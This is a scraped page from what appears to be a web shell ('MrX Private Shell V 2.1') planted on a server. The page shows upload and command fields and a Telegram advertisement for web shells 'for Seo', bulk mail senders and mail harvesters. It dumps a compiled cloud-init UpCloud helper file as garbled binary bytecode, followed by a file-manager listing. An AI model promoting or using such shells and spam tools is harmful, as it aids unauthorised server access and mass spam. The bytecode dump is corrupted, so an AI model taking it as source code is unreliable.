__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h���x�SSKrSSKrSSKJr SSKJr SSKJr \R"\5r	Sr
SrS	SjrSr
g)
�N)�dmi)�net)�
url_helperc
�$�Sn/n[R"5n[RSU5 UR	S5H�n[RSU5 UR	S5nXS;a[SU<SU<35eUR	S5nUR	U5n[RS	UUUUR	S
55 SUUS.n/n	UR	S
5H+n
U"X�R	S55nU	R
U5 M- X�S'UR
U5 M� UR	S5(aH[RSUR	S55 UR
SUR	S5S.5 SUS.$)a�
Convert the UpCloud network metadata description into
Cloud-init's version 1 netconfig format.

Example JSON:
{
  "interfaces": [
    {
      "index": 1,
      "ip_addresses": [
        {
          "address": "94.237.105.53",
          "dhcp": true,
          "dns": [
            "94.237.127.9",
            "94.237.40.9"
          ],
          "family": "IPv4",
          "floating": false,
          "gateway": "94.237.104.1",
          "network": "94.237.104.0/22"
        },
        {
          "address": "94.237.105.50",
          "dhcp": false,
          "dns": [],
          "family": "IPv4",
          "floating": true,
          "gateway": "",
          "network": "94.237.105.50/32"
        }
      ],
      "mac": "32:d5:ba:4a:36:e7",
      "network_id": "031457f4-0f8c-483c-96f2-eccede02909c",
      "type": "public"
    },
    {
      "index": 2,
      "ip_addresses": [
        {
          "address": "10.6.3.27",
          "dhcp": true,
          "dns": [],
          "family": "IPv4",
          "floating": false,
          "gateway": "10.6.0.1",
          "network": "10.6.0.0/22"
        }
      ],
      "mac": "32:d5:ba:4a:84:cc",
      "network_id": "03d82553-5bea-4132-b29a-e1cf67ec2dd1",
      "type": "utility"
    },
    {
      "index": 3,
      "ip_addresses": [
        {
          "address": "2a04:3545:1000:720:38d6:baff:fe4a:63e7",
          "dhcp": true,
          "dns": [
            "2a04:3540:53::1",
            "2a04:3544:53::1"
          ],
          "family": "IPv6",
          "floating": false,
          "gateway": "2a04:3545:1000:720::1",
          "network": "2a04:3545:1000:720::/64"
        }
      ],
      "mac": "32:d5:ba:4a:63:e7",
      "network_id": "03000000-0000-4000-8046-000000000000",
      "type": "public"
    },
    {
      "index": 4,
      "ip_addresses": [
        {
          "address": "172.30.1.10",
          "dhcp": true,
          "dns": [],
          "family": "IPv4",
          "floating": false,
          "gateway": "172.30.1.1",
          "network": "172.30.1.0/24"
        }
      ],
      "mac": "32:d5:ba:4a:8a:e1",
      "network_id": "035a0a4a-77b4-4de5-820d-189fc8135714",
      "type": "private"
    }
  ],
  "dns": [
    "94.237.127.9",
    "94.237.40.9"
  ]
}
c��URS5(aSnURS5S:XaSnSU0$SnURS5S:XaSnUSURS	5S
.nURS5(aURS5US'SURS
5;a&URS
5RS5SUS'XRS5:wa*URS5(aURS5US'U$)N�dhcp�family�IPv6zipv6_dhcpv6-stateless�type�static�static6�auto�address)r�controlr�gateway�/�network��netmask�dns�dns_nameservers)�get�split)�ip_addrr�	dhcp_type�static_type�subparts     �C/usr/lib/python3/dist-packages/cloudinit/sources/helpers/upcloud.py�_get_subnet_config�8convert_to_network_config_v1.<locals>._get_subnet_configrs����;�;�v����I��{�{�8�$��.�4�	��I�&�&����;�;�x� �F�*�#�K����{�{�9�-�
���;�;�y�!�!�!(���Y�!7�G�I���'�+�+�i�(�(�!(���Y�!7�!=�!=�c�!B�1�!E�G�I���+�+�e�$�$����U�);�);�)0���U�);�G�%�&���zNIC mapping: %s�
interfaceszConsidering %s�macz3Did not find network interface on system with mac 'z'. Cannot apply configuration: rz4Found %s interface '%s' with address '%s' (index %d)�index�physical)r�name�mac_address�ip_addressesr�subnetszSetting DNS nameservers to %s�
nameserver)rrr)�version�config)�cloudnet�get_interfaces_by_mac�LOG�debugr�RuntimeError�append)r,r�nic_configs�macs_to_interfaces�	raw_ifacer'�
iface_type�
sysfs_name�	interfacer)�
ip_address�sub_parts            r�convert_to_network_config_v1r;s{��F�:�K�!�7�7�9���I�I��!3�4��Z�Z��-�	��	�	�"�I�.��m�m�E�*���0���	�+��
��]�]�6�*�
�'�+�+�K�8�
��	�	�B�����M�M�'�"�	
���&�
�	���#�-�-��7�J�)�*�j�j��6G�H�H��N�N�8�$�8� '�)�����9�%�E.�H�z�z�%����	�	�1�6�:�:�e�3D�E����!�f�j�j��.?�@�	
��K�0�0r!c��[U5$)N)r;)r,s r�convert_network_configr=�s
��'��/�/r!c���[R"XX#S9nUR5(d[SU-5e[R
"URR55$)N)�timeout�sec_between�retrieszunable to read metadata at %s)r�readurl�okr1�json�loads�contents�decode)�urlr?r@rA�responses     r�
read_metadatarJ�sS���!�!��+��H��;�;�=�=��:�S�@�A�A��:�:�h�'�'�.�.�0�1�1r!c���[R"S5nUS:wag[R"S5nU(a[RSU5 SU4$Sn[R	U5 [U5e)Nzsystem-manufacturer�UpCloud)FNzsystem-uuidz2system identified via SMBIOS as UpCloud server: %sz�system identified via SMBIOS as a UpCloud server, but did not provide an ID. Please contact support viahttps://hub.upcloud.com or via email with [email protected])r�
read_dmi_datar/r0�criticalr1)�vendor_name�server_uuid�msgs   r�read_sysinforR�su���#�#�$9�:�K��i����#�#�M�2�K���	�	�@�+�	
�����
L�	�
	���S���3��r!)�rS�)rD�logging�	cloudinitrrr-r�	getLogger�__name__r/r;r=rJrR�r!r�<module>rZs<��
���%� �
����!��n1�b0�2�r!

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 165 B 0644
akamai.cpython-313.pyc File 1.93 KB 0644
aliyun.cpython-313.pyc File 5.91 KB 0644
azure.cpython-313.pyc File 46.53 KB 0644
cloudsigma.cpython-313.pyc File 4.71 KB 0644
digitalocean.cpython-313.pyc File 8.25 KB 0644
ec2.cpython-313.pyc File 9.33 KB 0644
hetzner.cpython-313.pyc File 1.14 KB 0644
netlink.cpython-313.pyc File 13.02 KB 0644
openstack.cpython-313.pyc File 28.2 KB 0644
upcloud.cpython-313.pyc File 6.95 KB 0644
vultr.cpython-313.pyc File 8.2 KB 0644
Filemanager